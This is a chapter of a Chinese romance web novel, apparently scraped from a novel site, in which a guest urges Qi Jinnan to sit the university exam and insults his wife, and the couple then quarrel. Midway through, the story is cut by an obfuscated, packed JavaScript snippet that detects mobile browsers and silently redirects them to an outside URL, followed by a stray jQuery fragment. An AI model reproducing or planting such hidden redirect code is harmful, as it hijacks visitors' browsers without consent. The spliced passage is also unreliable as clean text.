24. 第 24 章
作品:《从结婚开始的爱情[年代]》 有些人,偏偏有一种能力,就是在所有人兴头高的时候,当头浇一盆冷水。
白瑾的话一出口,所有人手上的动作都停了下来,一时间不知道是该动还是不该动。
祁衿南很快反应过来,声音冷冷道:“是我妈叫你来问的?”
“不是,是我自己问的,我觉得你这么优秀,考大学对你来说不是什么难事,考上之后你就不用在报社做一个临时工,到时候你想要什么正式的工作没有,大把的好工作等着你挑。”
白瑾这话说的虽然听上去有些功利,但是这也恰恰是大多数人的想法,向晴本人也是这么想的,但是她还没找到机会和祁衿南交流这件事,她自己不是学习的那块料,但是她也知道祁衿南有那个能力,他要是想高考,她一定全力支持。
李岩想赶快结束这个话题,忙道:“南哥不准备考大学。”
向晴听着这话皱着眉转头看向祁衿南,这么大的事情他都没有和她说过,她还是从别人口中听到的,她心里很不是滋味。
白瑾一听,露出一副诧异的模样,“不考大学?你怎么能不考大学呢?”
祁衿南摆出一副事不关己的样子,不咸不淡道:“我为什么一定要考大学,我现在有工作有家庭,过着普普通通的小日子,我已经很满足了。”
“祁衿南!”白瑾紧蹙着眉心,有些皇帝不急太监急的意思,“我看过你在书上写的笔记,你可是有大理想大抱负的人,怎么能甘于偏居一隅做一个普通人呢?你应该去读大学,去大学里施展自己的才华,成为一名建设国家的栋梁之材!”
李岩看她说的激动,怕她把面前的碗摔了,屏着呼吸小心翼翼的把她面前的碗筷移开。
就听祁衿南又开口道:“普通人怎么了,谁不是普通人,难道读了大学,有了一份你认为的好工作,就成了人上人?要是你真这么认为,那你确实该去考大学,去成为你心中认为的人上人,高高在上的俯瞰众生,接受来自普通人的羡慕和尊重,满足自己的虚荣心。”
“你!”白瑾恰好挨着炉子坐着,在她们来之前,祁衿南加了好几块蜂窝煤,把屋子里烧的热热的,现在她的脸也不知是恼羞成怒的红胀,还是被烤的晕热,一张脸红扑扑的,在昏黄的灯下显得越发局促。
“我说错了吗?每个人都有权利选择自己要走的路的权利,你可以选择做人上人,但是你不能把你的观念强加在别人身上,再说了,要是没有我们这种普通人,那就显不出你们‘人上人’的厉害了。”
向晴悄悄把手伸下去,拽了一下祁衿南的衣角,想让他少说几句。
但是这落在白瑾眼里却是向晴在可怜她。
白瑾的思绪已经被祁衿南打乱,脑子已经完全被不理智占据,一肚子怒气就要把她撑爆炸。
她大声质问:“是不是因为她你才不考的?还是说她不让你考?”
祁衿南看她把向晴扯进来,原本冰冷的声音带上了怒意,“这一切都是我个人的意愿,和其他人没有关系。”
白瑾“呵”了一声,“你们根本就不是一个世界的人,为了她不考大学值得吗?她懂你的理想你的抱负吗?你们之间有共同话题吗?你现在就是一时新鲜,总有一天你会玩腻的,那个时候后悔就晚了!”
“啪!”的一声,祁衿南把碗砸在桌子上,筷子也被这一下弹到了林燕脚边,她抿着嘴看了眼祁衿南,虽然屋子里很暖和但却感到周遭冒出阵阵寒意,她还没见过祁衿南生这么大的气。
李岩被拍桌子的声音吓得一颤,他的心跟着白瑾的话一上一下,他这次算是把祁衿南和向晴双双得罪了,人是他带来的,现在把局面弄的这么僵,这让他以后该怎么面对向晴。
接着他又听祁衿南开口道:“你才认识我多久?你了解我吗?你凭什么臆测我的想法去伤害我爱的人,之前毛衣的事情我没有和你追究,是想给你一个面子,现在看来你并不需要我给你的面子,因为你自己就有好几张脸皮。”
“你!”白瑾嘴唇气得发抖,她喘着粗气,眼眶通红含着泪,仿佛下一秒眼泪就要流落下来。
气氛一度陷入低沉,所有人都大气不敢喘一下,心里恨死白瑾了,好好的一顿饭,怎么让她搅和成了这样,豆豆和林燕对视一眼,眼神中都有要打人的冲动。
祁衿南脸色铁青,他担心的看了一眼向晴,见她垂着头耷拉着眼看不出是什么表情,他心里无比懊悔,他刚刚就不应该让白瑾进这个家门,他又让向晴受了一次委屈,这比当年他自己被同学欺负还让他难受。
“请你现在就离开这里,以后也不要再出现在我们面前,你今天说的话我就当没听到,以后要是再有一次,即便你是一个女同志我也不会给你留面子。”
李岩见缝插针,“走走走,我送你回去,我立马送你回去。”说着立马起身穿上外套。
豆豆早就憋着一口气,气势汹汹道:“快点走,这里没人欢迎你!”
林燕也搭腔道:“就是,这里是我家,不欢迎你来。”
五婶儿从刚刚开始就一直皱着眉头,打这小姑娘一进门,她就一直默默观察着,她先是前前后后的把屋子里扫视了一遍,表情里带着些轻蔑,一看就是瞧不起这间屋子,见了她也只是点点头,连句招呼都没打,一副高高在上的样子,这还没考上大学呢,就把自己摆在人上人的位置,这要是考上了还了得。
薛海刚大学毕业,第一份工作就进了报社,他的家境不差,所以即使没有读大学,家里也会为他安排一份清闲顺心的工作,所以他并不觉得考上了大学就能成为人上人,就比别人高一等。
就像祁衿南现在,虽然在他们报社只是一个临时工,但是报社里大家没有不尊重他的,这些都是因为他的人格,能力,品质,包括他自己在看到祁衿南的摄影作品之后,也深深地被他折服。
就像白瑾说的,考大学确实可以有更多的机会,可以选择更多的好工作,但是放在祁衿南身上,却不适用,薛海早就看出来,祁衿南志根本不在报社,他的野心不止于此,他隐隐约约知道祁衿南和李岩在做什么,但是他不能说,保全他们也保全自己,没准到时候还真让他们闯出些什么名堂,这谁都料不准,现在国家形式一天一个变化,没准哪天那个口子就松动了,那到时候还真说不准上大学和不上大学哪个能过的更好。
白瑾见这幅架势,她也待不下去了,两行泪夺眶而出,扭头就冲出门外,李岩和众人告了别也立马跟了上去,人是跟他来的,要是出点什么事,他和胡红梅可不好交代。
薛海见形式不妙,还是快点离开,让这对小夫妻好好聊聊,说了几句感谢的话也离开了。
豆豆给林燕使了使眼色,两个人麻利的清空桌子,打扫着战场,五婶儿也跟着一起帮忙。
向晴心里还想着刚刚的事,听见动静才回过神,忙阻止道:“你们是客人,怎么能让你们干活呢,我来就好了。”
豆豆一把按住要起身的向晴,“嫂子你好好休息,这点事交给我们就行,你放心,我们都是你这边的,别把别人的话放心里。”
“没错嫂子。”林燕义愤填膺的搭腔,“你别听那个人胡说,我大哥最喜欢你了,你们都认识这么多年了,他什么人你还不知道吗。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501392|184546||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向晴眼眶微红,勉强勾起嘴角,打趣道:“你之前不是还很讨厌我吗,这怎么一下子就转了性,替我说起话了。”
林燕手上快速的收拾着晚盘,讪讪的笑着说:“我这不是有眼无珠吗,之前都是我不对,现在我可盼着你和我大哥两个人好呢。”
祁衿南借着林燕的话,把手搭在向晴的腿上,静静地注视着她的侧脸。
向晴没有回头,眼看着几个人三两下把桌子收拾干净,东西物归原处,最后把门一带,屋内又剩下他们二人。
“你没事儿吧?”祁衿南轻声问道。
向晴深吸一口气,站起身来,坐到了床上,“我们聊聊吧。”
祁衿南立马把凳子拉到向晴面前坐下,一副乖巧的样子等待接受训话。
“你是真不想考大学,还是因为我不去考的。”
祁衿南急着就要张口解释,向晴表情严肃的抢先道:“说实话,我要听你的真实想法。”
祁衿南到嘴边的话又咽下去,心里百味杂陈,其实这两种原因都有。
一是他已经好多年没有看过书本上的知识了,再捡起来也很吃力,二是,他的年纪不小了,读完大学出来就要奔三了,他已经是有家庭的人了,去读书不光不能挣钱还要花钱,他现在已经从家里出来,断断不可能再和家里要钱,难道要把家庭和他读书的重担全都落到向晴一个人头上?他做不到。
还有一点,要是他读了大学,虽然他敢保证他不会变心,但是难免向晴不会多心,他不想让她觉得两个人越来越远,让她担心的事情他都不想做。
向晴见他犹豫,就基本了然于心,“看来是有我的原因了,你为什么不和我说你的想法,你连李岩都告诉了,偏偏不和我说。”
祁衿南把凳子往前拉了一段,离得向晴更近了些,抓起她的手道:“这几天你一直在忙,我还没有找到机会和你说,这么大的事我怎么可能不和你商量呢,我现在就和你商量,你先别生气好不好。”
“商量?”向晴把手抽出来,“这难道不是通知吗?要是我不同意,你会听我的吗?”
祁衿南犹豫了,他确实已经在心里做好了打算,说出来对于向晴来说就是通知,但是他忘了,他已经结婚了,做任何决定都需要告知他的另一半,两个人一起商量着才能把日子过好。
“你每次都是这样,房子的事也是,说是要给我一个惊喜,也不和我商量就把这么多家具买了。”向晴说的有些急,声音带着些抽泣起来,“我看你心里根本没有我,既然这样,那不如我们就离婚吧,这样你也不用因为我不去读大学了,我也不想担这么大的责任。”
“你胡说什么呢。”祁衿南心里一团乱麻,“要是我心里没有你,我怎么会想要给你准备惊喜,是,我承认我之前确实有些独断专行,那是因为我还不习惯两个人的生活,以后我都会改的,我求求你不要轻易说“离婚”两个字。”
祁衿南的声音近乎恳求,向晴知道这不能完全怪在他头上,但是此时此刻她自己的怒气也难以消解,她已经无暇顾及祁衿南的心情了。
“我们现在都很激动,不是说话的好时间,等冷静冷静再谈吧。”说罢,向晴一把揽过一旁的棉衣和布包袱就往门外走去。
祁衿南忙跟上去,急切道:“这么晚了你去哪儿啊?”
向晴头也不回道:“我回我家。”
“我送你。”
“我认得路。”
祁衿南刚踢开自行车镫子,那边向晴大步流星的走出了胡同,看来她是铁了心要自己走,索性他也不骑车,陪她一起走。